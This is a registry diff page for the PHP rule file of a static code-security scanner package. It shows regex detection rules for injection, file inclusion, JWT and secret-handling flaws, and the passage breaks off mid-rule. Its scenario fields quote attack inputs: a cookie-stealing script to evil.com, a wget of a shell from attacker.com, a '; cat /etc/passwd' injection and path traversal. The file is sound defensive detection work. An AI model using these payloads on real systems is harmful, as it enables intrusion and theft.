@activemind/scd 1.4.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/LICENSE.md +35 -0
- package/README.md +417 -0
- package/bin/scd.js +140 -0
- package/lib/audit-report.js +93 -0
- package/lib/audit-sync.js +172 -0
- package/lib/audit.js +356 -0
- package/lib/cli-helpers.js +108 -0
- package/lib/commands/accept.js +28 -0
- package/lib/commands/audit.js +17 -0
- package/lib/commands/configure.js +200 -0
- package/lib/commands/doctor.js +14 -0
- package/lib/commands/exceptions.js +19 -0
- package/lib/commands/export-findings.js +46 -0
- package/lib/commands/findings.js +306 -0
- package/lib/commands/ignore.js +28 -0
- package/lib/commands/init.js +16 -0
- package/lib/commands/insights.js +24 -0
- package/lib/commands/install.js +15 -0
- package/lib/commands/list.js +109 -0
- package/lib/commands/remove.js +16 -0
- package/lib/commands/repo.js +862 -0
- package/lib/commands/report.js +234 -0
- package/lib/commands/resolve.js +25 -0
- package/lib/commands/rules.js +185 -0
- package/lib/commands/scan.js +519 -0
- package/lib/commands/scope.js +341 -0
- package/lib/commands/sync.js +40 -0
- package/lib/commands/uninstall.js +15 -0
- package/lib/commands/version.js +33 -0
- package/lib/comment-map.js +388 -0
- package/lib/config.js +325 -0
- package/lib/context-modifiers.js +211 -0
- package/lib/deep-analyzer.js +225 -0
- package/lib/doctor.js +236 -0
- package/lib/exception-manager.js +675 -0
- package/lib/export-findings.js +376 -0
- package/lib/file-context.js +380 -0
- package/lib/file-filter.js +204 -0
- package/lib/file-manifest.js +145 -0
- package/lib/git-utils.js +102 -0
- package/lib/global-config.js +239 -0
- package/lib/hooks-manager.js +130 -0
- package/lib/init-repo.js +147 -0
- package/lib/insights-analyzer.js +416 -0
- package/lib/insights-output.js +160 -0
- package/lib/installer.js +128 -0
- package/lib/output-constants.js +32 -0
- package/lib/output-terminal.js +407 -0
- package/lib/push-queue.js +322 -0
- package/lib/remove-repo.js +108 -0
- package/lib/repo-context.js +187 -0
- package/lib/report-html.js +1154 -0
- package/lib/report-index.js +157 -0
- package/lib/report-json.js +136 -0
- package/lib/report-markdown.js +250 -0
- package/lib/resolve-manager.js +148 -0
- package/lib/rule-registry.js +205 -0
- package/lib/scan-cache.js +171 -0
- package/lib/scan-context.js +312 -0
- package/lib/scan-schema.js +67 -0
- package/lib/scanner-full.js +681 -0
- package/lib/scanner-manual.js +348 -0
- package/lib/scanner-secrets.js +83 -0
- package/lib/scope.js +331 -0
- package/lib/store-verify.js +395 -0
- package/lib/store.js +310 -0
- package/lib/taint-register.js +196 -0
- package/lib/version-check.js +46 -0
- package/package.json +37 -0
- package/rules/rule-loader.js +324 -0
- package/rules/rules-aspx-cs.json +399 -0
- package/rules/rules-aspx.json +222 -0
- package/rules/rules-infra-leakage.json +434 -0
- package/rules/rules-js.json +664 -0
- package/rules/rules-php.json +521 -0
- package/rules/rules-python.json +466 -0
- package/rules/rules-secrets.json +99 -0
- package/rules/rules-sensitive-files.json +475 -0
- package/rules/rules-ts.json +76 -0
|
@@ -0,0 +1,521 @@
|
|
|
1
|
+
{
|
|
2
|
+
"schema_version": 1,
|
|
3
|
+
"rules": [
|
|
4
|
+
{
|
|
5
|
+
"id": "PHP-INJ-001",
|
|
6
|
+
"name": "SQL Injection – string concatenation in query",
|
|
7
|
+
"severity": "CRITICAL",
|
|
8
|
+
"category": "Injection (OWASP A03)",
|
|
9
|
+
"pattern": "(?:mysqli_query|mysql_query|pg_query|mssql_query)\\s*\\([^)]*(?:\\$_GET|\\$_POST|\\$_REQUEST|\\$_COOKIE)[^)]*\\)",
|
|
10
|
+
"flags": "g",
|
|
11
|
+
"file_types": [
|
|
12
|
+
"php"
|
|
13
|
+
],
|
|
14
|
+
"why": "User input from $_GET/$_POST is concatenated directly into the SQL query without sanitisation.",
|
|
15
|
+
"scenario": "An attacker enters ' OR '1'='1 in a form field and gains access to the entire database or can delete tables.",
|
|
16
|
+
"fix": "Use PDO with prepared statements: $stmt = $pdo->prepare('SELECT * FROM users WHERE id = ?'); $stmt->execute([$id]);"
|
|
17
|
+
},
|
|
18
|
+
{
|
|
19
|
+
"id": "PHP-INJ-002",
|
|
20
|
+
"variant": "concat",
|
|
21
|
+
"name": "SQL Injection – direct variable interpolation",
|
|
22
|
+
"severity": "CRITICAL",
|
|
23
|
+
"category": "Injection (OWASP A03)",
|
|
24
|
+
"pattern": "\\$(?:SQL|sql|query|qry|str)\\s*(?:\\.?=)\\s*(?:[^;\\n]{0,120}[\\\".\\s]|[\\\"'])\\s*\\.\\s*\\$(?:_GET|_POST|_REQUEST|_COOKIE|_SESSION)\\s*\\[|\\$(?:SQL|sql|query|qry)\\s*\\.=\\s*\\$(?:_GET|_POST|_REQUEST|_COOKIE|_SESSION)\\s*\\[",
|
|
25
|
+
"flags": "g",
|
|
26
|
+
"antipattern": "sqlsrv_query|mysqli_query|pg_query|\\$(?:stmt|pdo|db|conn)->(?:prepare|execute|query)|^\\s*(?:\\/\\/|#|\\*)",
|
|
27
|
+
"antipattern_flags": "i",
|
|
28
|
+
"lookahead": 200,
|
|
29
|
+
"file_types": [
|
|
30
|
+
"php"
|
|
31
|
+
],
|
|
32
|
+
"why": "PHP variables from superglobals (incl. $_SESSION) are concatenated directly into the SQL string without sanitisation.",
|
|
33
|
+
"scenario": "An attacker sends id=1+OR+1=1 as a GET parameter. The SQL string becomes \"WHERE id=1 OR 1=1\" and returns all rows.",
|
|
34
|
+
"fix": "Use parameterised queries: $stmt = sqlsrv_query($link, \"SELECT ... WHERE id=?\", array($_POST[\"id\"]));"
|
|
35
|
+
},
|
|
36
|
+
{
|
|
37
|
+
"id": "PHP-INJ-002",
|
|
38
|
+
"variant": "interpolation",
|
|
39
|
+
"name": "SQL Injection – variable interpolation in SQL string",
|
|
40
|
+
"severity": "CRITICAL",
|
|
41
|
+
"category": "Injection (OWASP A03)",
|
|
42
|
+
"pattern": "[\\\"]\\s*(?:SELECT|INSERT|UPDATE|DELETE|WHERE)[^\\n\\\"]{0,150}\\$(?:_GET|_POST|_REQUEST|_COOKIE|_SESSION)\\s*\\[[^\\]]+\\][^\\n\\\"]{0,50}[\\\"]",
|
|
43
|
+
"flags": "gi",
|
|
44
|
+
"antipattern": "sqlsrv_query|mysqli_query|\\$(?:stmt|pdo)->(?:prepare|execute)|^\\s*(?:\\/\\/|#|\\*)",
|
|
45
|
+
"antipattern_flags": "i",
|
|
46
|
+
"lookahead": 200,
|
|
47
|
+
"file_types": [
|
|
48
|
+
"php"
|
|
49
|
+
],
|
|
50
|
+
"why": "PHP variables are interpolated directly into the SQL string via double quotes.",
|
|
51
|
+
"scenario": "An attacker sends name=\" OR 1=1-- and the SQL query returns all records in the table.",
|
|
52
|
+
"fix": "Never use variables directly in SQL strings. Use prepared statements with ? as placeholders."
|
|
53
|
+
},
|
|
54
|
+
{
|
|
55
|
+
"id": "PHP-INJ-002",
|
|
56
|
+
"variant": "taint-concat",
|
|
57
|
+
"name": "SQL Injection – tainted variable concatenated into query",
|
|
58
|
+
"severity": "CRITICAL",
|
|
59
|
+
"category": "Injection (OWASP A03)",
|
|
60
|
+
"taint_aware": true,
|
|
61
|
+
"pattern": "\\$(?:SQL|sql|query|qry|str)\\s*(?:\\.?=)\\s*[\\\"'][^\\n\\\"']{0,200}(?:WHERE|FROM|INTO|SET|VALUES)[^\\n\\\"']{0,100}[\\\"']\\s*\\.\\s*\\$(?!_GET|_POST|_REQUEST|_COOKIE|_SESSION|stmt|pdo|conn|db)[a-zA-Z_]\\w{0,30}\\s*[;,\\\"')/]",
|
|
62
|
+
"flags": "g",
|
|
63
|
+
"antipattern": "sqlsrv_query|mysqli_query|pg_query|\\$(?:stmt|pdo|db|conn)->(?:prepare|execute|query)|^\\s*(?:\\/\\/|#|\\*)",
|
|
64
|
+
"antipattern_flags": "i",
|
|
65
|
+
"lookbehind": 400,
|
|
66
|
+
"lookahead": 50,
|
|
67
|
+
"file_types": [
|
|
68
|
+
"php"
|
|
69
|
+
],
|
|
70
|
+
"why": "A superglobal ($_GET/$_POST) is assigned to a local variable which is then concatenated into SQL without sanitisation.",
|
|
71
|
+
"scenario": "Developer assigns $id = $_GET[\"id\"] then uses $query = \"SELECT ... WHERE id = \" . $id — still vulnerable to injection.",
|
|
72
|
+
"fix": "Use parameterised queries: $stmt = $pdo->prepare(\"SELECT * FROM t WHERE id = ?\"); $stmt->execute([$_GET[\"id\"]]);"
|
|
73
|
+
},
|
|
74
|
+
{
|
|
75
|
+
"id": "PHP-INJ-002",
|
|
76
|
+
"variant": "taint-interpolation",
|
|
77
|
+
"name": "SQL Injection – tainted variable interpolated in SQL string",
|
|
78
|
+
"severity": "CRITICAL",
|
|
79
|
+
"category": "Injection (OWASP A03)",
|
|
80
|
+
"taint_aware": true,
|
|
81
|
+
"taint_extract": "interpolation",
|
|
82
|
+
"pattern": "\"[^\\n\"]{0,200}(?:SELECT|INSERT|UPDATE|DELETE|WHERE|FROM|INTO|SET|VALUES|JOIN|CREATE|ALTER|DROP|REPLACE|EXEC(?:UTE)?)[^\\n\"]{0,150}\\$(?!_GET|_POST|_REQUEST|_COOKIE|_SESSION|stmt|pdo|conn|db)[a-zA-Z_]\\w*[^\\n\"]{0,80}\"",
|
|
83
|
+
"flags": "gi",
|
|
84
|
+
"antipattern": "sqlsrv_query|mysqli_query|\\$(?:stmt|pdo)->(?:prepare|execute)|^\\s*(?:\\/\\/|#|\\*)",
|
|
85
|
+
"antipattern_flags": "i",
|
|
86
|
+
"lookahead": 50,
|
|
87
|
+
"file_types": [
|
|
88
|
+
"php"
|
|
89
|
+
],
|
|
90
|
+
"why": "A variable assigned from user input ($_GET/$_POST) is interpolated directly into a SQL string. The SQL keyword in the string confirms injection context.",
|
|
91
|
+
"scenario": "Developer assigns $username = $_POST[\"username\"] then interpolates it in SQL — attacker can inject arbitrary SQL.",
|
|
92
|
+
"fix": "Use parameterised queries. Never interpolate variables into SQL strings."
|
|
93
|
+
},
|
|
94
|
+
{
|
|
95
|
+
"id": "PHP-INJ-003",
|
|
96
|
+
"name": "Remote Code Execution – eval with user input",
|
|
97
|
+
"severity": "CRITICAL",
|
|
98
|
+
"category": "Injection (OWASP A03)",
|
|
99
|
+
"pattern": "eval\\s*\\(\\s*(?:\\$_GET|\\$_POST|\\$_REQUEST|\\$_COOKIE|base64_decode\\s*\\(\\s*\\$)",
|
|
100
|
+
"flags": "g",
|
|
101
|
+
"file_types": [
|
|
102
|
+
"php"
|
|
103
|
+
],
|
|
104
|
+
"why": "eval() executes arbitrary PHP code. With user input as the data source, RCE is inevitable.",
|
|
105
|
+
"scenario": "Attacker sends PHP code as parameter: ?code=system(\"wget attacker.com/shell.php\"). The server executes it.",
|
|
106
|
+
"fix": "Never use eval() with external input. Replace with whitelisted operations or a proper template engine."
|
|
107
|
+
},
|
|
108
|
+
{
|
|
109
|
+
"id": "PHP-INJ-004",
|
|
110
|
+
"variant": "direct",
|
|
111
|
+
"name": "Command Injection – shell_exec / system with user input",
|
|
112
|
+
"severity": "CRITICAL",
|
|
113
|
+
"category": "Injection (OWASP A03)",
|
|
114
|
+
"pattern": "(?:shell_exec|system|exec|passthru|popen)\\s*\\(\\s*(?:[^)]*\\$(?:_GET|_POST|_REQUEST|_COOKIE)|[^)]*\\.\\s*\\$(?:_GET|_POST|_REQUEST))",
|
|
115
|
+
"flags": "g",
|
|
116
|
+
"file_types": [
|
|
117
|
+
"php"
|
|
118
|
+
],
|
|
119
|
+
"why": "Shell commands are built with direct user input and executed on the server.",
|
|
120
|
+
"scenario": "Attacker sends \"; cat /etc/passwd\" as a filename parameter. The server returns the password file.",
|
|
121
|
+
"fix": "Use escapeshellarg() for all input and avoid shell functions entirely where possible."
|
|
122
|
+
},
|
|
123
|
+
{
|
|
124
|
+
"id": "PHP-INJ-004",
|
|
125
|
+
"variant": "taint",
|
|
126
|
+
"name": "Command Injection – tainted variable in shell command",
|
|
127
|
+
"severity": "CRITICAL",
|
|
128
|
+
"category": "Injection (OWASP A03)",
|
|
129
|
+
"taint_aware": true,
|
|
130
|
+
"taint_extract": "func_concat",
|
|
131
|
+
"pattern": "(?:shell_exec|system|exec|passthru|popen)\\s*\\([^)]*\\.\\s*\\$(?!_GET|_POST|_REQUEST|_COOKIE|_SESSION|stmt|pdo|conn|db)[a-zA-Z_]\\w*\\s*[;)]",
|
|
132
|
+
"flags": "g",
|
|
133
|
+
"file_types": [
|
|
134
|
+
"php"
|
|
135
|
+
],
|
|
136
|
+
"why": "A variable assigned from user input is concatenated into a shell command without sanitisation.",
|
|
137
|
+
"scenario": "Developer assigns $file = $_GET[\"filename\"] then uses system(\"unzip \" . $file) — attacker can inject shell commands.",
|
|
138
|
+
"fix": "Use escapeshellarg($file) and validate input against a whitelist before using in shell commands."
|
|
139
|
+
},
|
|
140
|
+
{
|
|
141
|
+
"id": "PHP-INJ-005",
|
|
142
|
+
"name": "XSS – unsanitised output of user input",
|
|
143
|
+
"severity": "HIGH",
|
|
144
|
+
"category": "Injection (OWASP A03)",
|
|
145
|
+
"pattern": "echo\\s+(?:\\$_GET|\\$_POST|\\$_REQUEST|\\$_COOKIE)\\s*\\[",
|
|
146
|
+
"flags": "g",
|
|
147
|
+
"file_types": [
|
|
148
|
+
"php"
|
|
149
|
+
],
|
|
150
|
+
"why": "User input is written directly to HTML output without escaping.",
|
|
151
|
+
"scenario": "An attacker injects <script>document.location=\"https://evil.com?c=\"+document.cookie</script> via a parameter and steals cookies from visitors.",
|
|
152
|
+
"fix": "Always use htmlspecialchars(): echo htmlspecialchars($_GET[\"name\"], ENT_QUOTES, \"UTF-8\")"
|
|
153
|
+
},
|
|
154
|
+
{
|
|
155
|
+
"id": "PHP-ERR-001",
|
|
156
|
+
"name": "Information Disclosure – SQL query exposed on error",
|
|
157
|
+
"severity": "HIGH",
|
|
158
|
+
"category": "Security Misconfiguration (OWASP A05)",
|
|
159
|
+
"pattern": "(?:or\\s*die|or\\s*exit|\\|\\|\\s*die|\\|\\|\\s*exit)\\s*\\(\\s*\\$(?:SQL|sql|query|qry)|die\\s*\\(\\s*\\$(?:SQL|sql|query|qry)|die\\s*\\([^)]*(?:mysql_error|sqlsrv_errors|pg_last_error|mssql_get_last_message)\\s*\\(\\s*\\)\\s*\\)",
|
|
160
|
+
"flags": "gi",
|
|
161
|
+
"file_types": [
|
|
162
|
+
"php"
|
|
163
|
+
],
|
|
164
|
+
"why": "The error handler prints the full SQL query or raw database error message directly in the HTTP response. An attacker receives table names, column names and SQL structure.",
|
|
165
|
+
"scenario": "An attacker deliberately triggers a syntax error. The response contains: \"You have an error in your SQL syntax near SELECT usr, password FROM users WHERE\" — the database schema is now known.",
|
|
166
|
+
"fix": "Log the error server-side and show a generic message: error_log(print_r(sqlsrv_errors(), true)); http_response_code(500); die(\"An internal error occurred.\");"
|
|
167
|
+
},
|
|
168
|
+
{
|
|
169
|
+
"id": "PHP-CMT-001",
|
|
170
|
+
"name": "Commented-out insecure code – SQL injection pattern in comment",
|
|
171
|
+
"severity": "MEDIUM",
|
|
172
|
+
"category": "Security Misconfiguration (OWASP A05)",
|
|
173
|
+
"pattern": "^\\s*(?:\\/\\/|#|\\/\\*|\\*)[^\\n]{0,200}\\$(?:SQL|sql|query|qry)[^\\n]{0,150}\\$(?:_GET|_POST|_REQUEST|_COOKIE|_SESSION)\\s*\\[",
|
|
174
|
+
"flags": "gm",
|
|
175
|
+
"file_types": [
|
|
176
|
+
"php"
|
|
177
|
+
],
|
|
178
|
+
"why": "Commented-out code with an SQL injection pattern remains in the codebase. The code is inactive but can be re-enabled by a developer unaware of the security risk.",
|
|
179
|
+
"scenario": "A developer finds the commented-out code during debugging and removes the comment to \"quickly test something\". The code is now active and vulnerable.",
|
|
180
|
+
"fix": "Remove the commented-out code entirely. If the functionality is needed, implement it with prepared statements from the start."
|
|
181
|
+
},
|
|
182
|
+
{
|
|
183
|
+
"id": "PHP-AUTH-001",
|
|
184
|
+
"name": "Password comparison with == instead of password_verify",
|
|
185
|
+
"severity": "CRITICAL",
|
|
186
|
+
"category": "Identification and Authentication Failures (OWASP A07)",
|
|
187
|
+
"pattern": "(?:\\$_POST|\\$_GET|\\$_REQUEST)\\s*\\[['\\\"](?:password|passwd|pwd)['\\\"]]\\s*==\\s*\\$\\w+",
|
|
188
|
+
"flags": "gi",
|
|
189
|
+
"file_types": [
|
|
190
|
+
"php"
|
|
191
|
+
],
|
|
192
|
+
"why": "Loose comparisons (==) are vulnerable to type juggling attacks in PHP. password_verify() must always be used.",
|
|
193
|
+
"scenario": "PHP's == converts types: '0e123' == '0e456' is true because both are interpreted as 0 in scientific notation. An attacker can log in with a different password.",
|
|
194
|
+
"fix": "Use password_verify($input, $hash) and password_hash($password, PASSWORD_BCRYPT) for storage."
|
|
195
|
+
},
|
|
196
|
+
{
|
|
197
|
+
"id": "PHP-AUTH-002",
|
|
198
|
+
"variant": "direct",
|
|
199
|
+
"name": "File inclusion with user input (LFI/RFI)",
|
|
200
|
+
"severity": "CRITICAL",
|
|
201
|
+
"category": "Broken Access Control (OWASP A01)",
|
|
202
|
+
"pattern": "(?:include|require|include_once|require_once)\\s*(?:\\(?)\\s*(?:\\$_GET|\\$_POST|\\$_REQUEST|\\$_COOKIE)\\s*\\[",
|
|
203
|
+
"flags": "g",
|
|
204
|
+
"file_types": [
|
|
205
|
+
"php"
|
|
206
|
+
],
|
|
207
|
+
"why": "Filenames from user input are used in include/require — enabling Local/Remote File Inclusion.",
|
|
208
|
+
"scenario": "An attacker sends ?page=../../../../etc/passwd and the server reads and returns system files.",
|
|
209
|
+
"fix": "Never use user input directly in include. Whitelist allowed pages: $allowed = [\"home\", \"about\"]; if(in_array($page, $allowed)) include $page . \".php\";"
|
|
210
|
+
},
|
|
211
|
+
{
|
|
212
|
+
"id": "PHP-AUTH-002",
|
|
213
|
+
"variant": "taint",
|
|
214
|
+
"name": "File inclusion – tainted variable in include/require (LFI)",
|
|
215
|
+
"severity": "CRITICAL",
|
|
216
|
+
"category": "Broken Access Control (OWASP A01)",
|
|
217
|
+
"taint_aware": true,
|
|
218
|
+
"taint_extract": "func_concat",
|
|
219
|
+
"pattern": "(?:include|require|include_once|require_once)\\s*\\(?\\s*\\$(?!_GET|_POST|_REQUEST|_COOKIE|_SESSION)([a-zA-Z_]\\w*)\\s*[.;)]",
|
|
220
|
+
"flags": "g",
|
|
221
|
+
"file_types": [
|
|
222
|
+
"php"
|
|
223
|
+
],
|
|
224
|
+
"why": "A variable assigned from user input is used in include/require — enabling Local File Inclusion.",
|
|
225
|
+
"scenario": "Developer assigns $page = $_GET[\"page\"] then calls include($page . \".php\") — attacker can include sensitive files.",
|
|
226
|
+
"fix": "Whitelist allowed values: $allowed = [\"home\", \"about\"]; if (in_array($page, $allowed)) include $page . \".php\";"
|
|
227
|
+
},
|
|
228
|
+
{
|
|
229
|
+
"id": "PHP-AUTH-003",
|
|
230
|
+
"name": "IDOR – database lookup without ownership check",
|
|
231
|
+
"severity": "HIGH",
|
|
232
|
+
"category": "Broken Access Control (OWASP A01)",
|
|
233
|
+
"pattern": "WHERE\\s+id\\s*=\\s*(?:\\$_GET|\\$_POST|\\$_REQUEST)\\s*\\[",
|
|
234
|
+
"flags": "gi",
|
|
235
|
+
"antipattern": "AND\\s+(?:user_id|owner_id|created_by)",
|
|
236
|
+
"antipattern_flags": "i",
|
|
237
|
+
"lookahead": 150,
|
|
238
|
+
"file_types": [
|
|
239
|
+
"php"
|
|
240
|
+
],
|
|
241
|
+
"why": "Database objects are fetched directly with an ID from the URL without checking whether the user owns the record.",
|
|
242
|
+
"scenario": "A user with ID 5 changes the URL from ?id=5 to ?id=3 and views another user's data.",
|
|
243
|
+
"fix": "Always add an ownership check: WHERE id = ? AND user_id = ? using the logged-in user's ID."
|
|
244
|
+
},
|
|
245
|
+
{
|
|
246
|
+
"id": "PHP-AUTH-004",
|
|
247
|
+
"name": "IDOR – owner ID taken from $_POST without session verification",
|
|
248
|
+
"severity": "HIGH",
|
|
249
|
+
"category": "Broken Access Control (OWASP A01)",
|
|
250
|
+
"pattern": "\\$(?:pid|uid|user_id|owner_id|userId|ownerId|projectId|projekt_id)\\s*=\\s*(?:[^;\\n]{0,200})?\\$_POST\\s*\\[",
|
|
251
|
+
"flags": "gi",
|
|
252
|
+
"antipattern": "\\$(?:pid|uid|user_id|owner_id|userId|ownerId|projectId|projekt_id)\\s*=\\s*\\$_SESSION\\s*\\[",
|
|
253
|
+
"antipattern_flags": "i",
|
|
254
|
+
"lookahead": 150,
|
|
255
|
+
"file_types": [
|
|
256
|
+
"php"
|
|
257
|
+
],
|
|
258
|
+
"why": "Owner ID (uid/pid) can be sourced from POST data controlled by the client. An attacker can send arbitrary IDs and operate on other users' data.",
|
|
259
|
+
"scenario": "A mobile client sends userID=7&projectID=3. The server uses these values directly as owner IDs without verifying against the logged-in session.",
|
|
260
|
+
"fix": "Always verify against $_SESSION: retrieve $_SESSION[\"user_id\"] server-side and compare with or replace the POST-supplied ID."
|
|
261
|
+
},
|
|
262
|
+
{
|
|
263
|
+
"id": "PHP-AUTH-005",
|
|
264
|
+
"name": "Password stored in plaintext in database",
|
|
265
|
+
"severity": "CRITICAL",
|
|
266
|
+
"category": "Identification and Authentication Failures (OWASP A07)",
|
|
267
|
+
"pattern": "\\$(?:SQL|sql|query)\\s*(?:\\.?=)[^;\\n]{0,200}(?:password|passwd|pwd)\\s*[='\\\",.][^;\\n]{0,100}\\$(?:_GET|_POST|_REQUEST)\\s*\\[['\\\"]s*(?:password|passwd|pwd)",
|
|
268
|
+
"flags": "gi",
|
|
269
|
+
"antipattern": "password_hash|bcrypt|argon2|crypt\\s*\\(",
|
|
270
|
+
"antipattern_flags": "i",
|
|
271
|
+
"lookahead": 300,
|
|
272
|
+
"file_types": [
|
|
273
|
+
"php"
|
|
274
|
+
],
|
|
275
|
+
"why": "The password from the form is stored directly in the database without hashing. In the event of a database breach all users' passwords are exposed in plaintext.",
|
|
276
|
+
"scenario": "An attacker with SELECT access to the database dumps the entire user table and obtains all passwords in plaintext.",
|
|
277
|
+
"fix": "Always hash passwords with password_hash() before storage: $hash = password_hash($_POST[\"password\"], PASSWORD_BCRYPT); Then verify with password_verify($input, $hash)."
|
|
278
|
+
},
|
|
279
|
+
{
|
|
280
|
+
"id": "PHP-AUTH-006",
|
|
281
|
+
"name": "Sensitive operations via $_GET (password/user data in URL)",
|
|
282
|
+
"severity": "HIGH",
|
|
283
|
+
"category": "Identification and Authentication Failures (OWASP A07)",
|
|
284
|
+
"pattern": "\\$_GET\\s*\\[\\s*['\\\"]s*(?:password|passwd|pwd|new_password|secret|token)\\s*['\\\"]\\s*\\]",
|
|
285
|
+
"flags": "gi",
|
|
286
|
+
"file_types": [
|
|
287
|
+
"php"
|
|
288
|
+
],
|
|
289
|
+
"why": "Passwords and sensitive values in GET parameters end up in server logs, browser history, proxy logs and Referer headers.",
|
|
290
|
+
"scenario": "WS_addUser.php?usr=admin&password=secret123 appears in the Apache log, browser history, and is sent with the Referer header to external resources.",
|
|
291
|
+
"fix": "Always use POST for passwords and sensitive operations. Never send passwords as URL parameters."
|
|
292
|
+
},
|
|
293
|
+
{
|
|
294
|
+
"id": "PHP-CRYPTO-001",
|
|
295
|
+
"name": "Weak password hashing algorithm (MD5/SHA1)",
|
|
296
|
+
"severity": "HIGH",
|
|
297
|
+
"category": "Cryptographic Failures (OWASP A02)",
|
|
298
|
+
"pattern": "(?:md5|sha1)\\s*\\(\\s*(?:\\$_POST|\\$_GET|\\$password|\\$passwd|\\$pwd)",
|
|
299
|
+
"flags": "gi",
|
|
300
|
+
"file_types": [
|
|
301
|
+
"php"
|
|
302
|
+
],
|
|
303
|
+
"why": "MD5 and SHA1 are cryptographically broken and unsuitable for password hashing.",
|
|
304
|
+
"scenario": "An attacker with database access can crack MD5-hashed passwords using rainbow tables in seconds.",
|
|
305
|
+
"fix": "Use password_hash($password, PASSWORD_BCRYPT) and password_verify($input, $hash)."
|
|
306
|
+
},
|
|
307
|
+
{
|
|
308
|
+
"id": "PHP-CRYPTO-002",
|
|
309
|
+
"name": "Hardcoded database password in configuration",
|
|
310
|
+
"severity": "HIGH",
|
|
311
|
+
"category": "Security Misconfiguration (OWASP A05)",
|
|
312
|
+
"pattern": "(?:DB_PASSWORD|db_password|mysql_password|MYSQL_PWD)\\s*=\\s*['\\\"][^'\\\"]{4,}['\\\"]",
|
|
313
|
+
"flags": "gi",
|
|
314
|
+
"antipattern": "(?:getenv|env\\(|\\$_ENV)",
|
|
315
|
+
"lookahead": 20,
|
|
316
|
+
"file_types": [
|
|
317
|
+
"php"
|
|
318
|
+
],
|
|
319
|
+
"why": "The database password is hardcoded in the source code and exposed in version control.",
|
|
320
|
+
"scenario": "Anyone with repository access — including former employees — now has access to the production database.",
|
|
321
|
+
"fix": "Use an environment variable: define('DB_PASSWORD', getenv('DB_PASSWORD')); and store in .env outside git."
|
|
322
|
+
},
|
|
323
|
+
{
|
|
324
|
+
"id": "PHP-JWT-001",
|
|
325
|
+
"name": "JWT decoded without signature verification",
|
|
326
|
+
"severity": "CRITICAL",
|
|
327
|
+
"category": "Broken Authentication (OWASP A07)",
|
|
328
|
+
"pattern": "JWT\\s*::\\s*decode\\s*\\([^)]{0,200}(?:null\\s*,|,\\s*null\\s*,|\\[\\s*\\]|\\bfalse\\b)",
|
|
329
|
+
"flags": "gi",
|
|
330
|
+
"file_types": [
|
|
331
|
+
"php"
|
|
332
|
+
],
|
|
333
|
+
"why": "Calling JWT::decode() with a null key or empty key array skips signature verification. Any token with a valid structure is accepted regardless of who signed it.",
|
|
334
|
+
"scenario": "AI passes null as the key argument to JWT::decode() during prototyping. The code ships. Attacker forges a token with [\"role\" => \"admin\", \"user_id\" => 1] and gains admin access.",
|
|
335
|
+
"fix": "Always provide the key: JWT::decode($token, new Key($secretKey, \"HS256\")). Use firebase/php-jwt >= 6.0 which requires an explicit Key object."
|
|
336
|
+
},
|
|
337
|
+
{
|
|
338
|
+
"id": "PHP-JWT-002",
|
|
339
|
+
"name": "JWT algorithm \"none\" accepted — signature bypass",
|
|
340
|
+
"severity": "CRITICAL",
|
|
341
|
+
"category": "Broken Authentication (OWASP A07)",
|
|
342
|
+
"pattern": "(?:JWT|jwt|token|auth)[^;]{0,200}\\[\\s*['\\\"]none['\\\"]\\s*\\]|allowedAlgorithms[^;]{0,100}none",
|
|
343
|
+
"flags": "gi",
|
|
344
|
+
"file_types": [
|
|
345
|
+
"php"
|
|
346
|
+
],
|
|
347
|
+
"why": "Accepting \"none\" as a valid algorithm means tokens without signatures are trusted.",
|
|
348
|
+
"scenario": "Allowed algorithms array includes \"none\". Attacker takes a valid token, strips the signature, changes alg to \"none\" in the header, and modifies the payload. Server accepts it.",
|
|
349
|
+
"fix": "Use an explicit allowlist: [\"HS256\"] or [\"RS256\"]. Never include \"none\"."
|
|
350
|
+
},
|
|
351
|
+
{
|
|
352
|
+
"id": "PHP-JWT-003",
|
|
353
|
+
"name": "JWT payload read by manual base64 decode — signature not verified",
|
|
354
|
+
"severity": "HIGH",
|
|
355
|
+
"category": "Broken Authentication (OWASP A07)",
|
|
356
|
+
"pattern": "explode\\s*\\(\\s*['\\\"][.]?['\\\"]\\s*[^)]*\\$\\w*[Tt]oken[\\s\\S]{0,200}base64_decode|base64_decode[\\s\\S]{0,200}explode\\s*\\(\\s*['\\\"][.]['\\\"][^)]*\\$\\w*[Tt]oken",
|
|
357
|
+
"flags": "gi",
|
|
358
|
+
"file_types": [
|
|
359
|
+
"php"
|
|
360
|
+
],
|
|
361
|
+
"why": "Splitting a JWT on \".\" and base64-decoding the payload reads the claims without verifying the HMAC signature. The payload is just base64url-encoded JSON — completely attacker-controlled.",
|
|
362
|
+
"scenario": "Code does $parts = explode(\".\", $token); $payload = json_decode(base64_decode($parts[1])). Attacker creates a token with \"admin\": true in the payload. No signature check — any payload is trusted.",
|
|
363
|
+
"fix": "Use a JWT library for all token operations. Never manually decode JWT parts."
|
|
364
|
+
},
|
|
365
|
+
{
|
|
366
|
+
"id": "PHP-SECRET-001",
|
|
367
|
+
"name": "Hardcoded API key or secret in source code",
|
|
368
|
+
"severity": "CRITICAL",
|
|
369
|
+
"category": "Security Misconfiguration (OWASP A05)",
|
|
370
|
+
"pattern": "(?:api[_-]?key|api[_-]?secret|app[_-]?secret|client[_-]?secret|access[_-]?token|auth[_-]?token|private[_-]?key)\\s*=\\s*['\\\"][a-zA-Z0-9\\-_\\/+]{16,}['\\\"]",
|
|
371
|
+
"flags": "gi",
|
|
372
|
+
"antipattern": "getenv|env\\(|\\$_ENV|\\$_SERVER|\\.env|\\btest\\b|\\bmock\\b|\\bexample\\b",
|
|
373
|
+
"antipattern_flags": "i",
|
|
374
|
+
"lookahead": 60,
|
|
375
|
+
"file_types": [
|
|
376
|
+
"php"
|
|
377
|
+
],
|
|
378
|
+
"why": "Hardcoded secrets are exposed to everyone with repository access. Automated scanners harvest API keys from public repos within minutes of a push.",
|
|
379
|
+
"scenario": "$api_key = \"sk-prod-abc123xyz...\" committed to git. Repo becomes public. Within hours, the key is used to rack up charges on a third-party API or access customer data.",
|
|
380
|
+
"fix": "$api_key = getenv(\"API_KEY\"); Store in .env (git-ignored) with vlucas/phpdotenv locally, and as environment variables in production hosting."
|
|
381
|
+
},
|
|
382
|
+
{
|
|
383
|
+
"id": "PHP-SECRET-002",
|
|
384
|
+
"name": "Hardcoded JWT secret or HMAC key",
|
|
385
|
+
"severity": "CRITICAL",
|
|
386
|
+
"category": "Security Misconfiguration (OWASP A05)",
|
|
387
|
+
